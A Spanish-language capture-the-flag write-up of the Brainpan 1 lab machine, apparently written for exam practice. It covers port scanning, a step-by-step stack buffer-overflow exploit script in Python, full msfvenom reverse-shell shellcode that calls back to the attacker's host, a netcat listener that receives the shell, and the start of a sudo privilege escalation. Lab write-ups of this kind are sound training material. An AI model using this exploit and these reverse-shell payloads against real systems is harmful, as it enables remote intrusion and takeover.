Brainpan 1
En esta máquina vamos a practicar el BoF (Buffer Overflow) más típico que suele caer en certificaciones como el eCPPT o el antiguo OSCP
February 9, 202414 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 192.168.1.139
PING 192.168.1.139 (192.168.1.139) 56(84) bytes of data.
64 bytes from 192.168.1.139: icmp_seq=1 ttl=64 time=0.240 ms
--- 192.168.1.139 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.240/0.240/0.240/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 192.168.1.139 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 192.168.1.139
5 │ [*] Open ports: 9999,10000
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> sudo nmap -p9999,10000 -sCV 192.168.1.139 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 18:42 CET
Nmap scan report for 192.168.1.139
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=2/4%Time=65BFCC92%P=x86_64-pc-linux-gnu%r(
SF:NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_
SF:\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x2
SF:0\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20
SF:\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20
SF:\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN
SF:\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER
SF:\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:C3:40:1B (Oracle VirtualBox virtual NIC)
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 10000
Nmap ha reportado que por el puerto 10000 hay un SimpleHTTPServer de versión 0.6 (Python 2.7.3). Esto también lo podríamos haber visto con whatweb
$ whatweb 192.168.1.139:10000
http://192.168.1.139:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[192.168.1.139], Python[2.7.3]
Al entrar a la web vemos una página simple sin nada destacable. En este punto podríamos tratar de hacer fuzzing para enumerar archivos o directorios dentro del servidor web. Para ello vamos a usar la herramienta wfuzz
> wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.139:10000/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000483: 301 0 L 0 W 0 Ch "bin"
Explicación parámetros
- -c: Mostrar el resultado con colores
- -t: Definir el tiempo del escaneo
- –hc=404: Con esto le decimos que no nos interesan las respuestas cuyo código de estado sea 404, lo que significa que no queremos que nos reporte páginas que no existen
- -w: Diccionario
- FUZZ: Es donde va a ir probando el contenido del diccionario
Ha encontrado un directorio llamado bin en el cual dentro hay un archivo llamado brainpan.exe, vamos a descargárnoslo
$ wget 192.168.1.139:10000/bin/brainpan.exe
2024-02-04 18:57:28 (44.7 MB/s) - ‘brainpan.exe’ saved [21190/21190]
Vamos a pasarnos este binario a una máquina windows 7, en mi caso de 32 bits, mediante un servidor de python creado desde la máquina atacante con python3 -m http.server 80
. Ahora desde el navegador de windows 7 si ponemos nuestra ip ya nos podremos bajar el archivo.
Puerto 9999
Al ejecutar el brainpan.exe desde la máquina windows, se abre una terminal en la cual pone “bind done on port 9999 waitin for connextions” Casualmente es el mismo puerto que tenía abierto la máquina víctima.
Si probamos de conectarnos con netcat por el puerto 9999 a la máquina windows y después nos conectamos a la máquina víctima por el puerto 9999 vemos que el mensaje es el mismo.
> nc 192.168.1.141 9999 #Windows 7
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
> nc 192.168.1.139 9999 #Víctima
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Con esto sacamos la conclusión de que el archivo brainpan.exe es el mismo que se está ejecutando en la máquina víctima
Buffer Overflow
Para analizar el binario usaremos Inmunnity Debugger con mona.
Primero importamos el archivo en Imunity Debugger. Una vez importado lo ejecutamos desde inmunity debugger.
Durante la explotación vamos a ir desarrollando un script en python para agilizarlo todo…
from pwn import *
offset = 1000
junk = b"A" * offset
payload = junk
host, port = "192.168.1.141", 9999
r = remote(host, port)
r.sendline(payload)
Lo que vamos a hacer con esto es mandarle 1000 “A” al programa que corre por el puerto 9999 de la máquina windows.
Una vez ejecutado el script. Desde inmunity debugger se puede ver como ahora el EIP vale 41414141 lo que equivale a AAAA Esto significa que si ponemos un input muy largo podemos llegar a sobreescribir el EIP
EIP: (Punto de Instrucción de Entrada) es un registro que almacena la dirección de la próxima instrucción a ejecutar en un programa.
Calcular Offset
Ahora buscaremos cuantas “A” hay que poner para llegar al EIP. Para encontrar este número llamado offset, usaremos una cadena de caracteres diseñada para esto.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5...
Este comando nos ha generado una cadena de 1800 caracteres. La cual vamos a añadir en el script.
from pwn import *
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8>
payload = junk
host, port = "192.168.1.141", 9999
r = remote(host, port)
r.sendline(payload)
Ejecutamos el script, y en el Imunnity Debugger aparece que el EIP vale: 35724134.
Con el siguiente comando calculamos automáticamente el offset
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 35724134
[*] Exact match at offset 524
Buscar badchars
Una vez tenemos el control del EIP vamos a comprobar si hay badchars.
Los badchars básicamente son caracteres que pueden dar problemas a la hora de ejecutar un shellcode, un badchar típico es el \x00 (Null byte) el cual ya se suele excluir directamente porque da muchos problemas.
Para comprobar los badchars podríamos hacerlo de forma manual, pero vamos a usar mona para automatizarlo. Primero hay que definir el directorio de trabajo, en mi caso va a ser C:\Users\arnau\Desktop\bof
!mona config -set workingfolder C:\Users\arnau\Desktop\bof
Después vamos a crear un archivo con todos los bytes excluyendo el null byte (\x00), y lo vamos a guardar en el directorio de trabajo.
!mona bytearray -b "\x00"
Ahora dentro del archivo C:\Users\arnau\Desktop\bof\bytearray.txt
están todos los bytes.
================================================================================
Output generated by mona.py v2.0, rev 635 - Immunity Debugger
Corelan Consulting bv - https://www.corelan.be
================================================================================
OS : 7, release 6.1.7601
Process being debugged : brainpan (pid 2272)
Current mona arguments: bytearray -b "\x00"
================================================================================
2024-02-05 19:12:33
================================================================================
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Todos estos bytes vamos a ponerlos en el script de python para que se incorporen después del EIP, de momento el EIP le vamos a dar de valor “42424242” (BBBB). Esto queda tal que asi:
from pwn import *
offset = 524
junk = b"A" * offset
eip = b"B" * 4
after_eip = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = junk + eip + after_eip
host, port = "192.168.88.12", 9999
r = remote(host, port)
r.sendline(payload)
Ahora al hacer Click derecho en el ESP arriba a la derecha > Follow in Dump, vemos donde empiezan los bytes que hemos puesto después del EIP, y a la izquierda podemos ver la dirección de memoria donde empiezan los bytes de la comprobación de los badchars
0022F918 41414141 AAAA
0022F91C 41414141 AAAA
0022F920 41414141 AAAA
0022F924 41414141 AAAA
0022F928 41414141 AAAA
0022F92C 42424242 BBBB
0022F930 04030201
0022F934 08070605
0022F938 0C0B0A09 ...
0022F93C 100F0E0D .
0022F940 14131211
0022F944 18171615
0022F948 1C1B1A19
0022F94C 201F1E1D
0022F950 24232221 !"#$
0022F954 28272625 %&'(
0022F958 2C2B2A29 )*+,
0022F95C 302F2E2D -./0
0022F960 34333231 1234
Nos podemos fijar en que byte no sale representado de forma correcta o usar el siguiente comando de mona
!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
0BADF00D [+] Fetched 255 bytes successfully from C:\Users\arnau\Desktop\bof\bytearray.bin
0BADF00D - Comparing 1 location(s)
0BADF00D Comparing bytes from file with memory :
0022F930 [+] Comparing with memory at location : 0x0022f930 (Stack)
0022F930 !!! Hooray, normal shellcode unmodified !!!
0022F930 Bytes omitted from input: 00
Después de ejecutar el comando se abre una ventanita la cual muestra los badchars encontrados, en este caso no ha encontrado ninguno. Así que a la hora de crear el shellcode simplemente excluiremos los \x00
Protecciones
Con el siguiente comando podemos ver los las protecciones del binario
!mona modules
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Module info :
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
....
0BADF00D 0x76df0000 | 0x76ec4000 | 0x000d4000 | True | True | True | False | True | True | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll) 0x140
0BADF00D 0x31170000 | 0x31176000 | 0x00006000 | False | False | False | False | False | False | -1.0- [brainpan.exe] (C:\Users\arnau\Downloads\brainpan.exe) 0x0
0BADF00D 0x76960000 | 0x76a0c000 | 0x000ac000 | True | True | True | False | True | True | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll) 0x140
....
0BADF00D -----------------------------------------------------------------------------------------------------------------------------------------
En la fila del brainpan.exe sale todo en false.
JMP ESP
Ahora toca encontrar la dirección del JMP ESP. Para encontrarlo necesitamos saber el opcode de JMP ESP
> /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
00000000 FFE4 jmp esp
nasm >
El opcode de JMP ESP es FFE4, sabiendo esto, podemos buscar con mona la dirección del JMP ESP
!mona find -s "\xFF\xE4" -m brainpan.exe
712F3 0x311712f3 : "\xFF\xE4" | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\arnau\Downloads\brainpan.exe), 0x0
La dirección del JMP ESP es: 0x311712f3
Shellcode
Por último vamos a desarrollar el shellcode el cual nos enviara una reverse shell a nuestra máquina de atacante. Para crear el shellcode usaremos msfvenom de la siguiente forma:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00" EXITFUNC=thread
buf = b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"
Falta juntarlo todo en el script
from pwn import *
from struct import pack
offset = 524
junk = b"A" * offset
eip = pack("<I", 0x311712f3)
buf = b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"
payload = junk + eip + b"\x90" * 16 + buf
host, port = "192.168.88.12", 9999
r = remote(host, port)
r.sendline(payload)
Repasando el script:
Primero se define el offset que es la cantidad de caracteres que ponemos para llegar hasta el eip, en el eip ponemos la dirección del JMP ESP para que salte al ESP. Después del eip ponemos 16 veces “\x90” y por último el shellcode.
¿Por qué ponemos \x90
antes del shellcode?
La memoria puede moverse un poco durante la ejecución del programa, así que no sabemos exactamente en qué dirección comenzará el shellcode en el búfer. El NOP-sled es una forma de lidiar con esto.
Un NOP-sled es una secuencia de instrucciones NOP (sin operación) destinadas a “deslizar” el flujo de ejecución de instrucciones de la CPU a la siguiente dirección de memoria. Dondequiera que la dirección de retorno aterrice en el NOP-sled, se deslizará a lo largo del búfer hasta que alcance el inicio del shellcode
Solo falta ponernos en escucha y ¡ejecutar el script!
> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.88.5] from (UNKNOWN) [192.168.88.12] 49190
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
Escalada de privilegios
Dentro de la carpeta del directorio personal de puck vemos este archivo
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi
# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
fi
cd /home/puck/web
/usr/bin/python -m SimpleHTTPServer 10000
fi
Esto es un script en bash esto significa que esto es un linux, así que vamos a cambiar el payload para linux.
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 -b "\x00" -f py shellcode
buf = b""
buf += b"\xda\xdb\xbf\x5f\xa4\xa1\x30\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x7a\x17\x03\x7a\x17\x83\xb5"
buf += b"\x58\x43\xc5\x78\x7a\x73\xc5\x29\x3f\x2f\x60\xcf"
buf += b"\x36\x2e\xc4\xa9\x85\x31\xb6\x6c\xa6\x0d\x74\x0e"
buf += b"\x8f\x08\x7f\x66\xd0\x43\x27\x73\xb8\x91\xd8\x7a"
buf += b"\x83\x1f\x39\xcc\x95\x4f\xeb\x7f\xe9\x73\x82\x9e"
buf += b"\xc0\xf4\xc6\x08\xb5\xdb\x95\xa0\x21\x0b\x75\x52"
buf += b"\xdb\xda\x6a\xc0\x48\x54\x8d\x54\x65\xab\xce"
Ahora dentro con sudo -l
vemos que podemos ejecutar /home/anansi/bin/anansi_util
como root sin contraseña.
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
Este script tiene 3 opciones
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
- Network
Ejecuta un ifconfig
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util network
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 08:00:27:c3:40:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.88.10/24 brd 192.168.88.255 scope global eth0
